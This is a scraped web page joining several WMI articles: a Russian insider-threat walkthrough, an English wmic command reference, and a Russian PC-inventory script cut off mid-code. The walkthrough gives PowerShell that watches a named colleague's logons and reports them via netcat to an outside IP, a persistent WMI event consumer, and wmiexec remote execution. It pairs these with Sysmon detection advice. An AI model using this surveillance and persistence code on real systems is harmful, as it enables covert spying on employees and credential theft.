MS-DOS and Windows command line wmic command

MS-DOS and Windows command line wmic command Хостинг

MS-DOS and Windows command line wmic command

Содержание
  1. Что такое WMI и для чего он нужен?
  2. Для чего используется инструментарий управления Windows
  3. Архитектура инструментария управления Windows
  4. Выполнение запросов WMI
  5. Практикум по использованию событий WMI для наблюдения за системой
  6. Использование функциональности wmiexec из Impacket
  7. Использование событий WMI для наблюдения за пользователями
  8. Интеграция Netcat и WMI
  9. Устранение недочетов в механизме наблюдения WMI
  10. Почему при наблюдении нужно использовать постоянные события?
  11. Советы для ИТ-администраторов
  12. Можно ли отключить постоянные события WMI?
  13. Выявление событий WMI, представляющих угрозу, с помощью Sysmon и SIEM
  14. Часто задаваемые вопросы об инструментарии управления Windows
  15. WMI объявлен устаревшим?
  16. Какие порты использует WMI?
  17. WMI использует WimRM?
  18. Заключение
  19. Batch WMIC
  20. Interactive WMIC Command Line
  21. Find Computer Manufacturer and Model
  22. Print Computer Name
  23. Print BIOS Serial Number
  24. Print Network Interface Mac Addresses
  25. Print Motherboards Model and Number
  26. Print RAM or Physical Memory Size
  27. Print All Running Application, Programmes, and Their RAM/Memory Usage
  28. Print Partition Name, Size, and Type
  29. List Services
  30. List Processes
  31. Kill Given Process
  32. List Startup Applications
  33. Write WMIC Output Into A File
  34. List Disk Drives (HDD)
  35. List Brief Operating System Information
  36. Информация о компьютере
  37. Реализация с помощью CMD.
  38. Реализация с помощью PowerShell.
  39. Windows Management Instrumentation Command line or WMIC
  40. What does the WMIC display about the process?
  41. Disadvantage of using WMIC over Task Manager
  42. How can I see all the running processes?
  43. How do I list all processes in Windows?

Что такое WMI и для чего он нужен?

MS-DOS and Windows command line wmic command

Приведем конкретный пример. С помощью WMI вы можете запросить, например, все большие файлы Excel, находящиеся в том или ином каталоге, а затем получать уведомление каждый раз при создании файла с заданным размером, например 1 Мб. Командлет Register-WmiEvent позволяет сделать все это с помощью одной не слишком сложной строки в PowerShell.

В хороших руках WMI может послужить многим благим целям, но точно так же он может стать инструментом вредоносной инсайдерской деятельности. Можно легко представить, как некий сотрудник с повадками Эдварда Сноудена использует WMI, чтобы шпионить за своими коллегами. Для этого ему даже не понадобятся особые технические знания.

Предположим, наш гипотетический инсайдер «случайно» подсмотрел, что его коллега Лекс периодически скачивает большие файлы Excel, содержащие номера социального страхования и другие личные данные клиентов. В этом случае наш незаметный инсайдер может соорудить нечто подобное:

Register-WmiEvent -Query "SELECT * FROM __InstanceModificationEvent WITHIN 5 WHERE TargetInstance isa 'CIM_DataFile' and TargetInstance.FileSize > 2000000 and TargetInstance.Path = '\\Users\\lex\\Important' and targetInstance.Drive = 'C:’ and targetInstance.Extension =’xlsx’” -Action $action 

Этот код запрашивает объект CIM_DataFile для получения доступа к информации о создании файла Excel в указанном каталоге, а затем запускает выполнение блока сценария. Ближе к концу этой статьи мы рассмотрим подробнее, как может выглядеть этот блок сценария в случае с нашим гипотетическим инсайдером.

Для чего используется инструментарий управления Windows

Прежде чем мы перейдем к изучению того, как WMI может использоваться инсайдерами в целях отслеживания, стоит отметить, что у него есть множество законных применений. Глобальное предназначение этой системы — свести воедино все средства управления устройствами и приложениями в корпоративных сетях. Таким образом, WMI может использоваться:

  • для сбора информации о статусе локальных и удаленных компьютерных систем
  • настройки параметров безопасности для удаленных компьютеров и приложений
  • настройки и редактирования свойств системы
  • настройки и редактирования разрешений для авторизованных пользователей и групп
  • выполнения кода и сериализации объектов (своеобразный «SSH на стероидах»)
  • назначения и редактирования меток дисков
  • создания графика выполнения процессов
  • резервного копирования репозиториев объектов
  • включения и отключения регистрации ошибок

Доступ ко всем этим функциям можно получить с помощью PowerShell и WMIC — интерфейса командной строки WMI. Как видите, у WMI есть самые разные применения, и эта система позволяет отслеживать и редактировать множество разнообразных параметров в компьютерной сети.

Архитектура инструментария управления Windows

MS-DOS and Windows command line wmic command

Инструментарий WMI является частью операционной системы Windows, и он предварительно установлен на всех операционных системах, начиная с Windows 2000. WMI состоит из следующих компонентов:

  • Служба WMI — это реализация системы WMI в Windows. Этот процесс отображается под именем «Инструментарий управления Windows» и является связующим звеном между поставщиками WMI, репозиторием WMI и управляющими приложениями. Данный процесс запускается автоматически при включении компьютера.
  • Управляемые объекты — это любые логические или физические компоненты либо службы, которыми можно управлять с помощью WMI. К таким объектам могут относиться самые разные компоненты, поскольку WMI может получить доступ к любому параметру или объекту, к которым имеют доступ другие инструменты Windows, такие как системный монитор.
  • Поставщики WMI — это объекты, которые отслеживают события и данные конкретного объекта. Существует множество различных типов поставщиков WMI как общего назначения, так и предназначенных для конкретных устройств. Многие из них предварительно встроены в систему Windows.
  • Классы используются поставщиками WMI для передачи данных службам WMI. В классах содержатся события и свойства, позволяющие получать и настраивать данные. Системные классы WMI предварительно определены и начинаются с двойного подчеркивания.
  • Методы, будучи привязанными к конкретным классам, позволяют выполнять действия на основе имеющихся в них данных. Например, методы можно использовать для запуска и завершения процессов на удаленных компьютерах. Доступ к методам можно получить с помощью приложений для обработки сценариев или сетевого администрирования.
  • Репозиторий WMI — это база данных, в которой хранятся все статические данные, связанные с WMI. Динамические данные не хранятся в репозитории. Доступ к ним можно получить через класс поставщика WMI.
  • Диспетчер объектов CMI — это система, которая находится между управляющим приложением и поставщиками WMI. Она запрашивает данные у этих поставщиков и затем передает их приложению.
  • API WMI выполняет эти операции и предоставляет приложениям доступ к инфраструктуре WMI без привязки к типу используемого устройства.
  • Потребитель WMI — это сущность, которая отправляет запросы объектам через диспетчер объектов. Обычно потребитель WMI является приложением для мониторинга, таким как PRTG Network Monitor, управляющим приложением или сценарием PowerShell.

Выполнение запросов WMI

Самым простым способом выполнения запроса WMI является запуск WMIC в стандартной командной строке Windows. Выполните следующие действия, чтобы получить информацию о процессоре, используемом на локальном компьютере:

  1. Откройте командную строку
  2. Введите WMIC для вызова программы и нажмите клавишу Enter
  3. Появится окно командной строки WMIC
  4. В командной строке можно выполнять запросы WMI. Самый простой запрос — это просмотр информации о локальном процессоре, который можно выполнить с помощью следующей команды:
    WMIC CPU

  5. Результаты будут отображены в командной строке

Практикум по использованию событий WMI для наблюдения за системой

В этом разделе мы рассмотрим, как с помощью WMI выполнять команды и отслеживать процессы на удаленных компьютерах. Подобные приемы можно использовать в составе системы анализа поведения пользователей и сущностей (UEBA) для автоматического мониторинга процессов во всей системе и проверки на инсайдерские угрозы, о которых свидетельствуют подозрительное поведение или аномальные события.

Использование функциональности wmiexec из Impacket

В WMI можно выполнять разные функции, помимо управления событиями. В нем можно запускать процессы и выполнять команды в окнах Windows как на локальных, так и на удаленных компьютерах. Ради интереса попробуйте ввести команду wmic process call create ‘notepad.exe’ в сеансе PowerShell, чтобы открыть старый текстовый редактор Microsoft. При этом используется замечательный инструмент командной строки wmic, входящий в состав WMI. Здорово, правда?

Если бы я добавил параметр /Node:, а затем имя удаленного компьютера Windows, то смог бы запустить Блокнот на нем, при условии что у меня есть соответствующие разрешения. Совершенно ясно, что на практическом уровне wmic является незаменимым помощником для системных администраторов.

Прежде чем вы начнете возмущаться: я знаю, что существуют эквивалентные командлеты PowerShell. Однако я считаю, что синтаксис wmic легче запомнить.
Было бы здорово, если бы я мог с помощью WMI создать простую и незаметную псевдооболочку.

MS-DOS and Windows command line wmic command

Скрытая псевдооболочка, созданная с помощью wmiexec

К моему везению, это можно сделать в Impacket. В тестовой среде Amazon я использовал свой любимый wmiexec для доступа к WMI через виртуальную машину Linux. В wmiexec предусмотрена возможность создания псевдооболочки: каждый раз, когда на стороне клиента вводится команда, на целевом компьютере создается отдельная оболочка для выполнения этой команды.
И в psexec, и в smbexec для запуска команд в удаленной системе используются службы Windows. Работа smbexec протекает незаметнее, так как он быстро создает, а затем удаляет службу, а psexec, наоборот, оставляет ее на виду.

Инструмент wmiexec напрямую запускает cmd.exe для удаленного выполнения команды. Созданную команду можно найти в средстве просмотра событий. Обратите внимание, что мы избежали привлекающих внимание служб Windows

Инструмент wmiexec абсолютно не затрагивает службы, вместо этого используя описанные выше возможности WMI для непосредственного запуска процесса. При поиске возможных источников угроз специалисты по безопасности редко начинают с WMI, в то время как службы обычно являются хорошим местом для начала поиска улик, указывающих на атаку. Хороший ход, wmiexec!

Использование событий WMI для наблюдения за пользователями

Пока я тешил себя мыслью, что я один такой умный и занимаюсь экспериментами с WMI, оказалось, что ребята, занимающиеся тестами на проникновение, уже давно поняли, как все работает. Вам обязательно нужно прочитать потрясающую презентацию Мэтта Грэбера (Matt Graeber) с конференции Black Hat 2015 года, где он рассказывает, как злоумышленники могут превратить WMI и весь его арсенал для работы с событиями в инструмент для взломов.

В моей истории я представляю себе инсайдера а-ля Сноуден, который обладает некоторыми техническими знаниями, но не глубокой хакерской мудростью, и которому доверяют другие сотрудники. Этому человеку не нужно знать все про WMI. Ему нужно знать только то, что требуется для работы на удаленном компьютере и инициирования событий.

Помимо файловых объектов, есть еще один интересный класс объектов, который можно изучить с помощью WMI, — win32_LogOnSession. Запрос этого базового объекта Windows позволяет найти пользователей, которые в данный момент находятся в системе. Затем можно использовать блок сценария действий Register-WmiEvent для запуска сценария PowerShell при удаленном входе нового пользователя в систему. Уловили суть? Злоумышленник может получать уведомления каждый раз, когда пользователь, за которым он следит, входит в целевую систему.

Вот что я набросал:

Register-WMIEvent -Query "Select TargetInstance From __InstanceCreationEvent WITHIN 10 WHERE TargetInstance ISA 'win32_LogOnSession' AND TargetInstance.LogonType=3" –Action $action

Следующий вопрос — как запрограммировать выполнение блока сценария. Загадочного инсайдера из моих фантазий интересует конкретный пользователь — Круэлла. Наш злодей потихоньку шпионил за Круэллой и теперь планирует использовать собранную информацию, чтобы взломать ее рабочую учетную запись.

Задача блока сценария — проверить, кто вошел в систему, и определить, была ли это Круэлла. Я написал несколько строк кода PowerShell для этой цели, но это явно не самый лучший способ. Я никак не использую информацию о событии, передаваемую в блок сценария, а именно сведения о новом пользователе. Я наталкиваюсь на препятствия, причины которых я не могу понять в данный момент. Для этого нужно больше технических знаний, чем наш гипотетический инсайдер имеет или готов приобрести.

Вместо этого я просто перебрал список пользователей, возвращаемых gwmi Win32_Process (попробуйте запустить этот командлет в сеансе PowerShell), и сопоставил их с параметром «Круэлла». Можете полюбоваться на мое финальное решение:

Register-WMIEvent -Query "Select TargetInstance From __InstanceCreationEvent WITHIN 10 WHERE TargetInstance ISA 'win32_LogOnSession' AND TargetInstance.LogonType=3" -Action {

$names=gwmi Win32_Process|% { $_.GetOwner().User}
foreach ($user in $names){

    if ($user -eq "cruella") {

        echo "cruella logged in"| C:\Users\lex\Documents\nc.exe 172.31.19.75 80
    }
}


}

Register-WmiEvent позволяет сохранять скрытность, поскольку он запускается только при новом входе в систему, вместо того чтобы регулярно запрашивать объект Win32_Process, что может быть довольно заметным.

Помните, что наш инсайдер старается не привлекать к себе внимания. У нее есть доступ к удаленной системе через psexec, smbexec или wmiexec (самый незаметный способ). Однако ей не нужно постоянно бродить туда-сюда по системе жертвы.

В этом и прелесть использования событий WMI. Вы можете дождаться уведомления от Register-WmiEvent, а затем спокойно сделать свой ход.

Интеграция Netcat и WMI

Но каким образом сценарий возвращает горячую новость о том, что Круэлла вошла в систему на целевом компьютере?

Если вы заметили, что я использовал команды Netcat выше, можете поставить себе плюсик. Netcat — известная и универсальная утилита, позволяющая устанавливать соединения (необязательно для вредоносного ПО). С помощью нее можно выполнять обратное подключение или просто передавать сообщения по сети. Я воспользовался этой второй возможностью.

Приведенный выше сценарий отправляет сообщение Netcat в режиме ожидания и отображает надпись «Круэлла вошла в систему». Миссия выполнена.

Вы можете представить себе, как наш мошенник затем сбрасывает хеши с помощью инструмента secretsdump Impacket, взламывает хеш учетных данных Круэллы, после чего запускает wmiexec, используя разрешения Круэллы, для поиска более ценных данных.

MS-DOS and Windows command line wmic command

Код Register-WmiEvent можно запустить напрямую. Обратите внимание на отображаемый идентификатор события

Устранение недочетов в механизме наблюдения WMI

В рамках этого примера я хотел удаленно запустить (используя wmiexec) полезную программу, которая будет предупреждать меня, когда конкретный пользователь, то есть Круэлла, входит в систему. После этого я мог спокойно сбросить и взломать ее учетные данные. Это был бы самый незаметный способ — удаленный доступ и никаких файлов. Единственная проблема, как мне поначалу казалось, заключалась во временном характере событий WMI.

Поэтому мне нужно было заключить мое непристойно длинное Register-WMIEvent (ниже) в командную строку PowerShell с параметром –noexit, обеспечивающим сохранение сеанса PowerShell после выполнения Register-Event, а значит, и сохранение события.

 Register-WMIEvent -Query "Select TargetInstance From __InstanceCreationEvent WITHIN 10 WHERE TargetInstance ISA 'win32_LogOnSession' AND TargetInstance.LogonType=3" -Action {$names=gwmi Win32_Process|% { $_.GetOwner().User};foreach ($user in $names){if ($user -eq "cruella") {echo "cruella logged in"| C:\Users\lex\Documents\nc.exe 172.31.19.75 80}}}
$command="powershell -noexit -C Register-WMIEvent -Query ""Select TargetInstance From __InstanceCreationEvent WITHIN 10 WHERE TargetInstance ISA 'win32_LogOnSession' AND TargetInstance.LogonType=3"" -Action {`$names = gwmi Win32_Process; `$users=@(); foreach (`$n in `$names) {`$users += `$n.GetOwner().User}; foreach (`$u in `$users) {if (`$u -eq ""cruella"") {.\wmiexec C:\Users\lex\Documents\nc.exe 172.31.18.92 80 }}}
.\wmiexec.exe corp.acme/lex@172.31.46.115 "$command"

Она выглядела многообещающе и, казалось, работала правильно, если верить журналу событий Windows в целевой системе. Однако, присмотревшись, я понял, что она не работает. Я уверен, что в итоге смог бы привести ее в нужный вид, но для этого мне потребовалось бы время и кофе, много кофе. Есть и другой вариант, чуть менее незаметный и совсем не бесфайловый: можно использовать smbclient для переноса сценария, а затем запустить его напрямую на целевом компьютере.

MS-DOS and Windows command line wmic command

Удаленное выполнение сложного командлета Register-Event казалось мне абсолютно правильным. Но оно не работало. Ну и ладно

Увы, на этом этапе мои предположения о том, что сообразительный, но не слишком опытный инсайдер мог бы легко использовать временные события WMI для скрытого наблюдения, стали потихоньку разваливаться.

Почему при наблюдении нужно использовать постоянные события?

Правильный и одновременно требующий более глубоких знаний способ заключается в использовании постоянных событий WMI. Постоянные события WMI, хотя и представляют некоторую сложность, не только являются более эффективным инструментом для шпионов-инсайдеров, чем временные события, но и позволяют гораздо эффективнее отслеживать внутренние угрозы.

Изучение постоянных событий потребует некоторого времени, но они представляют наиболее эффективный способ реализации строгой системы мониторинга для больших систем. Они обладают более широкими возможностями, чем временные события WMI. Их также можно использовать для оповещения о нестандартной вредоносной активности, такой как DNS-туннелирование или нарушение политик Zero Trust.
Я посвятил изучению постоянных событий пару дней и обнаружил, что в PowerShell есть специальный командлет, который упрощает процесс создания фильтра событий, потребителя и объектов WMI между фильтром и потребителем. Как мы все знаем, PowerShell предоставляет администраторам широкие возможности для упрощения работы. К сожалению, данный пример показывает, как этими прекрасными возможностями могут воспользоваться злоумышленники.
Инсайдер создает постоянное событие на целевой системе, тем самым освобождая себя от необходимости присутствовать в сеансе оболочки. Событие остается там навсегда или до тех пор, пока не будет удалено явным образом. Подробнее о том, как это сделать, можно прочитать здесь , но в целом процесс похож на то, что я сделал выше с временным событием. Последнее, что потребуется от нашего хакера, — связать фильтр события с потребителем события.

Соглашусь, что для обычного сотрудника, который вдруг решил стать злобным хакером, это выглядит слишком круто. Ради интереса я почитал разные форумы и увидел, что многие люди безуспешно бьются над тем, чтобы заставить постоянные события WMI работать. Однако это вовсе не выходит за рамки возможностей нашего «Сноудена» и других сообразительных системных администраторов, которые решили перейти на темную сторону.

Советы для ИТ-администраторов

MS-DOS and Windows command line wmic command

Эти методы не предназначены для обучения потенциальных хакеров или обиженных сотрудников, которые хотят отомстить работодателю. Все, чего я хочу, — это помочь ИТ-специалистам понять образ мысли хакера, чтобы они могли внедрить соответствующую защиту от атак на проникновение. Для них я показываю, как настроить фильтр и объекты потребителя с помощью командлета Set-WmiInstance:

$Filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{

EventNamespace = 'root/cimv2'
Name = “cruella”
Query = "SELECT * FROM __InstanceCreationEvent WITHIN 10 WHERE TargetInstance ISA 'Win32_LoggedOnUser'"
QueryLanguage = 'WQL'
}


$command = "powershell.exe -Command {$names = gwmi Win32_Process; $users=@(); foreach ($n in $names) {$users += $n.GetOwner().User}; foreach ($u in $users) {if ($u -eq 'cruella') { C:\users\lex\Documents\nc.exe 172.31.45.240 10000}}}"


$Consumer = Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments @{
Name = "Consumer"
CommandLineTemplate = $Command

}

Ваше домашнее задание — придумать код PowerShell, который свяжет эти два компонента воедино.

В ходе моих собственных тестов я смог заставить постоянное событие работать на целевой системе без чрезмерных усилий и страданий. Как вы помните, этого было весьма сложно добиться с временными событиями WMI, которые длятся ровно столько, сколько и сеанс PowerShell.

Настроив постоянное событие WMI, чтобы, например, следить за входом пользователей в систему, инсайдер или хакер не обязан оставаться в целевой системе. Дополнительным бонусом является то, что постоянное событие WMI является устойчивым: при перезагрузке компьютера триггеры событий по-прежнему действуют. Это делает постоянные события WMI мощным и скрытным способом инициировать атаку, которая может включать гораздо больше, чем просто мониторинг. Как вы помните, события WMI — далеко не самое первое место, где специалисты по безопасности будут искать источник атаки.

Например, код PowerShell для потребителя события может выступать как средство запуска и скачивать вредоносное ПО, хранящееся на удаленном сервере, с помощью DownloadString. Великолепная презентация Мэтта Грэбера на конференции Black Hat содержит много информации о вредоносном потенциале постоянных событий WMI.

Если вы специалист по безопасности, то как вы будете работать с событиями WMI с точки зрения их потенциального вредоносного использования?

Удача на вашей стороне: с помощью командлета Get-WmiObject (псевдоним gwmi) можно создать список фильтров событий, потребителей и связывающих объектов:

MS-DOS and Windows command line wmic command

Вы перечисляете постоянные события WMI с помощью Get-WMIObject и устанавливаете соответствующие параметры. Обратите внимание на отсутствие отметки о времени создания.

Теперь, если фильтр (или потребитель) постоянного события покажется им подозрительным, ИТ-специалисты могут отключить его путем удаления с помощью конвейера PowerShell и командлета WMI-RemoveObject:

Удаление постоянных событий WMI включает использование конвейера PowerShell

Обратите внимание, что здесь не указано ни время создания события, ни имя злонамеренного пользователя. Для получения этой криминалистической информации потребуется обратиться к журналам событий Windows. Подробнее об этом ниже.

Можно ли отключить постоянные события WMI?

По крайней мере, ИТ-специалисты могут быстро увидеть зарегистрированные постоянные события WMI и приступить к анализу сценариев реальных событий на наличие признаков угроз. Возможно, как опытный специалист по ИТ-безопасности, вы считаете, что не всем нужен WMI на ноутбуках и лучшая стратегия по работе с уязвимостями постоянных событий WMI — это совсем отключить WMI.

Можно попробовать отключить службу Winmgmt, которая запускает WMI. На практике это не так уж просто. В ходе моих собственных тестов я так и не смог отключить эту службу: она автоматически запускалась снова и снова.

Предположим, что вам все же удалось отключить ее. Административное программное обеспечение Windows во многом зависит от WMI и не будет работать, если Winmgmt недоступна. По всему Интернету форумы наполнены сообщениями, предостерегающими от отключения WMI. Советую к ним прислушаться и помиловать ваш WMI.

Выявление событий WMI, представляющих угрозу, с помощью Sysmon и SIEM

В общем, вам придется принять уязвимость событий WMI как факт. К счастью, есть более эффективные способы обнаружения постоянных событий и других подозрительных операций с событиями в Windows, чем использование вышеупомянутого командлета Powershell.

Знакомьтесь, Sysmon! Я не буду вдаваться в подробности, рассказывая об этой бесплатной утилите Windows, которую можно загрузить здесь, в этой статье. Скажу лишь, что она позволяет получать очень полезную информацию для анализа в одном месте, вместо того чтобы просматривать каждый журнал событий Windows по отдельности. Пользователям Windows 7 и более поздних версий возможности Sysmon могут не понадобиться, поскольку в новых системах Windows используются более совершенные механизмы ведения стандартных журналов.

MS-DOS and Windows command line wmic command

Sysmon — удобная и понятная утилита для регистрации событий от Microsoft

Sysmon назначает идентификатор события 19 созданию постоянного событию фильтра WMI (20 назначается созданию события потребителя WMI, а 21 — связыванию WMI). Если вы откроете средство просмотра событий, вы найдете журнал событий Sysmon в разделе Microsoft -> Windows -> Sysmon.

Вы не хотите открывать средство просмотра событий вручную, чтобы отслеживать постоянные события WMI, которые могут быть признаком хакерской активности. Мы знаем, как вам помочь.
Почему бы не создать фильтр постоянных событий WMI для мониторинга создания (догадались?) постоянного события WMI?

$Filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{
EventNamespace = 'root/subscription'
Name = '_PersistenceEvent_'
Query = 'SELECT * FROM __InstanceCreationEvent WITHIN 5 Where TargetInstance ISA "__EventConsumer"'

QueryLanguage = 'WQL'
}

Очевидно, что здесь нам понадобится помощь средств по управлению информационной безопасностью и событиями безопасности (SIEM), поскольку улики погребены в завалах журналов. Я думаю, вы понимаете, к чему все идет. Вам понадобится решение для мониторинга безопасности, объединяющее функции SIEM с анализом других угроз для обнаружения и устранения угроз, связанных с постоянными событиями WMI.

Часто задаваемые вопросы об инструментарии управления Windows

Описанные выше методы вполне могут быть использованы для реализации системы наблюдения в вашей сети, однако у вас могли остаться некоторые вопросы о WMI. В этом разделе мы ответим на самые распространенные из них.

WMI объявлен устаревшим?

Сам WMI не устарел, но была объявлена устаревшей WMIC, что вводит многих людей в заблуждение. Для доступа к функциям, ранее обеспечиваемым WMIC, теперь используется PowerShell.

Какие порты использует WMI?

WMI использует TCP-порт 135 и ряд динамических портов: 49152-65535 (динамические порты RPC: Windows Vista, 2008 и выше), TCP 1024-65535 (динамические порты RPC: Windows NT4, Windows 2000, Windows 2003). Вы также можете настроить для WMI пользовательский диапазон портов.

WMI использует WimRM?

Данная конфигурация не является стандартной, однако вы можете использовать WMI для получения данных с помощью сценариев или приложений, использующих WinRM Scripting API, или с помощью инструмента командной строки Winrm. WinRM может использовать WMI для сбора данных о ресурсах или для управления ресурсами в операционной системе Windows.

Заключение

Как мы увидели, WMI предоставляет администраторам мощный инструмент для мониторинга удаленных процессов и компьютеров и может использоваться при разработке соглашений о мониторинге конечных пользователей (EUMA) для автоматического оповещения о подозрительной активности. Это делает его отличным инструментом для обнаружения и устранения внутренних угроз, предотвращения попыток обойти политики безопасности, а также наблюдения за тем, как используются ваши системы.

WMIC or Windows Management Interface Command is a simple command line tool used to issue WMI commands. WMI command generally used to query all of the system related information like Computer Name, BIOS Serial Number, Mac Address etc.

Batch WMIC

WMIC provides two type of usage. Batch usage is the most popular where we can issue WMI commands into MS-DOS or PowerShell like below.

> wmic /?
Batch WMIC
Batch WMIC

Interactive WMIC Command Line

WMIC also provides an interactive shell where we can issue wmic options as commands. We can enter VMIC interactive shell just running wmic command like below.

PS> wmic
Interactive WMIC Command Line
Interactive WMIC Command Line

Find Computer Manufacturer and Model

We can use Computer option in order to print the current system manufacturer and model.

> wmic ComputerSystem GET Model
Find Computer Manufacturer and Model
Find Computer Manufacturer and Model

Computer name can be printed with the computersystem and name options like below.

> wmic computersystem get name
Print Computer Name
Print Computer Name

Every computer system have a serial number. This serial number is unique to the system. We can print current system serial number with the bios and serialnumber options like below.

> wmic bios get serialnumber
Print Serial Number
Print Serial Number

wmic command also provides operations about the Network Interface. We can use nic option with different extra options like macaddress ,description.

> wmic nic get macaddress
Print Network Interface Mac Addresses
Print Network Interface Mac Addresses
> wmic baseboard get product
Print Motherboards Model and Number
Print Motherboards Model and Number
> wmic COMPUTERSYSTEM get TotalPhysicalMemory
Print RAM or Physical Memory Size
Print RAM or Physical Memory Size

We can print currently running applications, programmes and their RAM or Memory usage with the process option like below.

> wmic process get workingsetsize,commandline
Print All Running Application, Programmes, and Their RAM/Memory Usage
Print All Running Application, Programmes, and Their RAM/Memory Usage

We can use partition option with the name,size and type options to print partitions information and file system type.

> wmic partition get name,size,type
Print Partition Name, Size, and Type
Print Partition Name, Size, and Type

List Services

We can list currently installed Services on the system. We will use  service option with the list and brief options like below.

> wmic service list brief

MS-DOS and Windows command line wmic command

List Processes

Currently running process and brief information about the can be listed lie below.

> wmic process list brief
List Processes
List Processes

Kill Given Process

Even we can use wmic to kill the current running process. We will use process option with the where statement and related terminate command. In this example, we will kill the process named chrome.exe which can be listed with the previous command.

>wmic process where name="chrome.exe" call terminate
Kill Given Process
Kill Given Process

List Startup Applications

After the Windows operating system is started some applications are started automatically. These applications are different from services. They are generally called Startup Applications. We can list these Startup Applications with the wmic like below.

> wmic startup list brief
List Startup Applications
List Startup Applications

Write WMIC Output Into A File

>wmic process list brief > process.txt

List Disk Drives (HDD)

We can use diskdrive option in order to list currently connected disk drives. These drives can be HDD or ISCSI or similar.

> wmic diskdrive get model,name,size
List Disk Drives (HDD)
List Disk Drives (HDD)

List Brief Operating System Information

  • Build Number
  • Organization
  • Registered USer
  • Serial Number
  • System Directory
  • Version
>wmic os list brief
List Brief Operating System Information
List Brief Operating System Information

Информация о компьютере

Время на прочтение

MS-DOS and Windows command line wmic command

Довольно часто нужно быстро, кратко, но информативно получить информацию о стационарном компьютере или ноутбуке, без дополнительного ПО и не «вскрывая крышку».

Это можно реализовать, например, средствами командной строки ОС Windows или PowerShell.
CMD — проверенный временем функционал, который есть в любой версии Windows.
Кроме того, для простых задач администрирования cmd использовать привычнее, а где-то и удобнее.

Что лучше — CMD или PowerShell? Я не готов однозначно ответить на этот вопрос.
Впрочем, ничто не мешает нам пользоваться и тем и другим, все зависит от поставленной задачи.

Мы не будем собирать всю информацию о ПК — для этого существует множество специализированного ПО!

Реализация с помощью CMD.

Сбор информации будем осуществлять использованием переменных среды Windows и выполнением сценариев WMI.

Для вывода всех переменных окружения в Windows и их значений служит команда set.

Для получения сведений об оборудовании и системе, управления процессами и их компонентами, а также изменения настроек с использованием возможностей инструментария управления Windows (Windows Management Instrumentation или WMI) служит команда WMIC.

Подсказку по работе с утилитой wmic.exe можно получить по команде:

  • wmic /? — отобразить общую справку.
  • wmic /?:BRIEF — отобразить краткую справку.
  • wmic /?:FULL — отобразить полную справку.

Мы будем использовать:

  • BASEBOARD (управление системной платой);
  • COMPUTERSYSTEM (управление компьютером);
  • CPU (управление ЦП);
  • DISKDRIVE (управление физическими дисками);
  • MEMORYCHIP (информация о микросхемах памяти).

Скрипт содержит много циклов с FOR.
Отличительной особенностью FOR /F является умение работать через токены, а также поддержка дополнительных ключевых слов:

  • skip (пропуск определенного кол-ва обрабатываемых строк от начала файла);
  • delims (задать другой разделитель(-ли), по умолчанию, пробел и знак табуляции);
  • tokens (количество получаемых токенов (подстрок) в теле цикла и пределы разбивки по разделителю). Также можно задать конкретный № токена, который попадет в первую переменную цикла;
  • usebackq (изменение правил использования кавычек внутри IN (…)).
@echo off
:имя файла для записи информации
set fname=pcinfo.txt
:имя компьютера
Echo pcname: %computername% >>%fname%
:IP-адрес компьютера по его имени
FOR /F "usebackq tokens=2 delims=[]" %%i IN (`ping %Computername% -n 1 -4`) DO if not "%%i"=="" Set ip=%%i
Echo IP %computername%: %ip% >>%fname%
:имя активного пользователя
Echo username: %username%  >>%fname%
:модель ноутбука
set cmd=wmic computersystem get model
for /f "skip=1 delims=" %%Z in ('%cmd%') do (
    set _pn=%%Z
	GOTO BREAK1
)
:BREAK1
echo CS Model: %_pn% >>%fname%
:процессор
SETLOCAL ENABLEDELAYEDEXPANSION
set mmr=0
for /f "skip=1 delims=" %%i in ('wmic cpu get name') do (
for /f "tokens=1-2 delims=" %%A in ("%%i") do (
set CPULbl=%%A
set /a mmr=!mmr!+1
echo CPU !mmr!: !CPULbl! >>%fname%
))
:материнская плата
set cmd=wmic baseboard get product
for /f "skip=1 delims=" %%Z in ('%cmd%') do (
    set _mb=%%Z
    GOTO BREAK2
)
:BREAK2
echo MB: %_mb% >>%fname%
:оперативная память
SETLOCAL ENABLEDELAYEDEXPANSION
set mmr=0
for /f "skip=1 delims=" %%i in ('WMIC MemoryChip get BankLabel^,DeviceLocator^,PartNumber^,Speed^,Capacity') do (
for /f "tokens=1-5 delims=" %%A in ("%%i") do (
set BnkLbl=%%A
set /a mmr=!mmr!+1
echo Memory !mmr!: !BnkLbl! >>%fname%
wmic MEMORYCHIP get banklabel, partnumber, capacity, speed,  manufacturer
))
:диски
SETLOCAL ENABLEDELAYEDEXPANSION
set mmr=0
for /f "skip=1 delims=" %%i in ('wmic diskdrive get model^,size') do (
for /f "tokens=1-2 delims=" %%A in ("%%i") do (
set HDDLbl=%%A
set /a mmr=!mmr!+1
echo DISK !mmr!: !HDDLbl! >>%fname%
))

Реализация с помощью PowerShell.

В оболочке PowerShell, перед тем как запускать скрипт, нужно выполнить команду, разрешающую выполнение неподписанных скриптов для текущего сеанса оболочки:

Set-ExecutionPolicy RemoteSigned -Scope Process

Сбор информации будет осуществляться использованием в основном Get-WmiObject -Class win32, все просто, работа с циклами.

Мы будем использовать:

  • Get-WmiObject -Class win32_processor;
  • Get-WmiObject -Class win32_baseboard;
  • Get-WmiObject Win32_PhysicalMemory;
  • Get-PhysicalDisk;
  • Get-WmiObject -Class Win32_ComputerSystem;
  • Get-WmiObject Win32_NetworkAdapter;
  • Win32_NetworkAdapterConfiguration.
PS C:\Users\admin> Get-WmiObject Win32_NetworkAdapter -Filter 'NetConnectionStatus=2'
ServiceName      : Qcamain10x64
MACAddress       : 58:00:E3:7D:87:3F
AdapterType      : Ethernet 802.3
DeviceID         : 1
Name             : Qualcomm Atheros QCA61x4A Wireless Network Adapter
NetworkAddresses :
Speed            : 144400000

Для получения параметров сети по MACAddress активной сетевой карты дополнительно считываем Win32_NetworkAdapterConfiguration.

#имя файла для записи информации
$fname = "pcinfo.txt"
$CPU = Get-WmiObject  -Class win32_processor
$MB = Get-WmiObject  -Class win32_baseboard
$MEM = Get-WmiObject Win32_PhysicalMemory
$DD = Get-PhysicalDisk
$pcn = Get-WmiObject -Class Win32_ComputerSystem

#имя компьютера
"pcname:	"+$pcn.Name | Out-File -FilePath $fname -Append -Encoding Default
#IP-адрес компьютера по его имени
Get-WmiObject Win32_NetworkAdapter -Filter 'NetConnectionStatus=2' |
ForEach-Object {
$pcip = 1 | Select-Object IP
